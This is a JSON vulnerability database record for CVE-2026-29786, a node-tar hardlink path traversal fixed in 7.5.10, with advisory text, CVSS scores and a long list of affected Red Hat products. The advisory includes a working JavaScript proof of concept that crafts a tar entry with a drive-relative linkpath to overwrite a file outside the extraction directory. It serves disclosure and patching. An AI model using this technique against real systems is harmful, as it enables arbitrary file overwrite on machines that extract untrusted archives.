{"id":"CVE-2026-29786","aliases":["CVE-2026-29786","GHSA-qffp-2rhf-9h96"],"related":[],"kind":"vulnerability","state":"published","title":"node-tar: Hardlink Path Traversal via Drive-Relative Linkpath","summary":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10.","source":"cvelist"},{"lang":"en","text":"### Summary\n`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.\n\nWhat happens with `linkpath: \"C:../target.txt\"`:\n1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.\n2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.\n3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.\n4. Writing through the extracted hardlink overwrites the outside file.\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.9`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(process.cwd(), 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\ncd test-workspace\nnode poc.cjs && ls -l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files","format":"markdown","source":"ghsa"},{"lang":"es","text":"node-tar es una implementación completa de Tar para Node.js. Antes de la versión 7.5.10, se puede engañar a tar para que cree un enlace duro que apunte fuera del directorio de extracción utilizando un destino de enlace relativo a la unidad, como C:../target.txt, lo que permite la sobrescritura de archivos fuera del directorio de trabajo actual (cwd) durante la extracción normal de tar.x(). Este problema ha sido parcheado en la versión 7.5.10.","source":"nvd"}],"published":"2026-03-05T00:52:32.000Z","modified":"2026-09-10T03:50:40.605Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","score":8.2,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","score":8.2,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N","score":6.3,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-59"],"affected":[{"ranges":[{"version":"< 7.5.10","status":"affected"}],"vendor":"isaacs","product":"node-tar","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Cryostat 4","package":"io.cryostat-cryostat","cpe":"cpe:/a:redhat:cryostat:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch6-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-operator-bundle","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-proxy-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-rhel9-operator","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/kibana6-rhel8","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/logging-curator5-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Network Observability Operator","package":"network-observability/network-observability-console-plugin-compat-rhel9","cpe":"cpe:/a:redhat:network_observ_optr:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Network Observability Operator","package":"network-observability/network-observability-console-plugin-rhel9","cpe":"cpe:/a:redhat:network_observ_optr:1","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat 3scale API Management Platform 2","package":"3scale-amp20/system","cpe":"cpe:/a:redhat:red_hat_3scale_amp:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat 3scale API Management Platform 2","package":"3scale-amp21/system","cpe":"cpe:/a:redhat:red_hat_3scale_amp:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat 3scale API Management Platform 2","package":"3scale-amp22/system","cpe":"cpe:/a:redhat:red_hat_3scale_amp:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat 3scale API Management Platform 2","package":"3scale-amp24/system","cpe":"cpe:/a:redhat:red_hat_3scale_amp:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat 3scale API Management Platform 2","package":"3scale-amp25/system","cpe":"cpe:/a:redhat:red_hat_3scale_amp:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat 3scale API Management Platform 2","package":"3scale-amp26/system","cpe":"cpe:/a:redhat:red_hat_3scale_amp:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat 3scale API Management Platform 2","package":"3scale-amp2/system-rhel7","cpe":"cpe:/a:redhat:red_hat_3scale_amp:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat 3scale API Management Platform 2","package":"3scale-amp2/system-rhel8","cpe":"cpe:/a:redhat:red_hat_3scale_amp:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat 3scale API Management Platform 2","package":"3scale-amp2/system-rhel9","cpe":"cpe:/a:redhat:red_hat_3scale_amp:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Management for Kubernetes 2","package":"rhacm2/console-rhel9","cpe":"cpe:/a:redhat:acm:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Management for Kubernetes 2","package":"rhacm2/volsync-operator-bundle","cpe":"cpe:/a:redhat:acm:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Advanced Cluster Management for Kubernetes 2","package":"rhacm2/volsync-rhel9","cpe":"cpe:/a:redhat:acm:2","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat AMQ Broker 7","package":"org.jolokia-jolokia-parent","cpe":"cpe:/a:redhat:amq_broker:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat build of Apache Camel - HawtIO 4","package":"io.hawt-project","cpe":"cpe:/a:redhat:apache_camel_hawtio:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 10","package":"linux-sgx","cpe":"cpe:/o:redhat:enterprise_linux:10","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 10","package":"nodejs22","cpe":"cpe:/o:redhat:enterprise_linux:10","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 10","package":"nodejs24","cpe":"cpe:/o:redhat:enterprise_linux:10","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"grafana","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"mozjs60","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"nodejs:20/nodejs","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"nodejs:22/nodejs","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 8","package":"nodejs:24/nodejs","cpe":"cpe:/o:redhat:enterprise_linux:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"gjs","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"grafana","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"linux-sgx","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"nodejs:20/nodejs","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"nodejs:22/nodejs","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Enterprise Linux 9","package":"nodejs:24/nodejs","cpe":"cpe:/o:redhat:enterprise_linux:9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Fuse 7","package":"io.apicurio-apicurito","cpe":"cpe:/a:redhat:jboss_fuse:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Fuse 7","package":"io.hawt-hawtio-online","cpe":"cpe:/a:redhat:jboss_fuse:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Fuse 7","package":"io.hawt-project","cpe":"cpe:/a:redhat:jboss_fuse:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Fuse 7","package":"io.syndesis-syndesis-parent","cpe":"cpe:/a:redhat:jboss_fuse:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 7","package":"io.hawt-project","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 7","package":"org.jboss.hal-hal-parent","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","package":"io.hawt-project","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform 8","package":"org.keycloak-keycloak-parent","cpe":"cpe:/a:redhat:jboss_enterprise_application_platform:8","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","package":"io.hawt-project","cpe":"cpe:/a:redhat:jbosseapxp","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat JBoss Enterprise Application Platform Expansion Pack","package":"org.keycloak-keycloak-parent","cpe":"cpe:/a:redhat:jbosseapxp","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-argoexec-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-kf-notebook-controller-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-notebook-controller-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4","package":"openshift4/ose-console-rhel9","cpe":"cpe:/a:redhat:openshift:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4","package":"openshift/ose-rhel-coreos-8","cpe":"cpe:/a:redhat:openshift:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Container Platform 4","package":"openshift/ose-rhel-coreos-9","cpe":"cpe:/a:redhat:openshift:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Openshift Data Foundation 4","package":"odf4/mcg-core-rhel9","cpe":"cpe:/a:redhat:openshift_data_foundation:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Openshift Data Foundation 4","package":"odf4/ocs-client-console-rhel9","cpe":"cpe:/a:redhat:openshift_data_foundation:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Openshift Data Foundation 4","package":"odf4/odf-console-rhel9","cpe":"cpe:/a:redhat:openshift_data_foundation:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Openshift Data Foundation 4","package":"odf4/odf-multicluster-console-rhel9","cpe":"cpe:/a:redhat:openshift_data_foundation:4","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces","package":"devspaces/code-rhel9","cpe":"cpe:/a:redhat:openshift_devspaces:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces","package":"devspaces/code-sshd-rhel9","cpe":"cpe:/a:redhat:openshift_devspaces:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces","package":"devspaces/dashboard-rhel9","cpe":"cpe:/a:redhat:openshift_devspaces:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift Dev Spaces","package":"devspaces/machineexec-rhel9","cpe":"cpe:/a:redhat:openshift_devspaces:3","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Process Automation 7","package":"org.kie.workbench-kie-wb-common","cpe":"cpe:/a:redhat:jboss_enterprise_bpms_platform:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Process Automation 7","package":"org.uberfire-uberfire-parent","cpe":"cpe:/a:redhat:jboss_enterprise_bpms_platform:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Single Sign-On 7","package":"org.keycloak-keycloak-parent","cpe":"cpe:/a:redhat:red_hat_single_sign_on:7","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Trusted Artifact Signer","package":"rhtas/rekor-search-ui-rhel9","cpe":"cpe:/a:redhat:trusted_artifact_signer:1","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"7.5.10"}],"ecosystem":"npm","package":"tar","purl":"pkg:npm/tar","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"7.5.10"}],"vendor":"isaacs","product":"tar","cpe":"cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-29786","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445476","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29786.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29786","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-03-09T17:52:29.312Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-29786","url":"https://www.cve.org/CVERecord?id=CVE-2026-29786","licence":"CVE Terms of Use","modified":"2026-09-01T12:05:00.341Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-qffp-2rhf-9h96","url":"https://github.com/advisories/GHSA-qffp-2rhf-9h96","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:40.605Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-29786","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29786","licence":"Public domain","modified":"2026-09-01T13:18:36.727Z"}],"updatedAt":"2026-11-25T22:59:15.476Z","epss":{"score":0.00504,"percentile":0.44664,"date":"2026-12-02T12:00:21.000Z"}}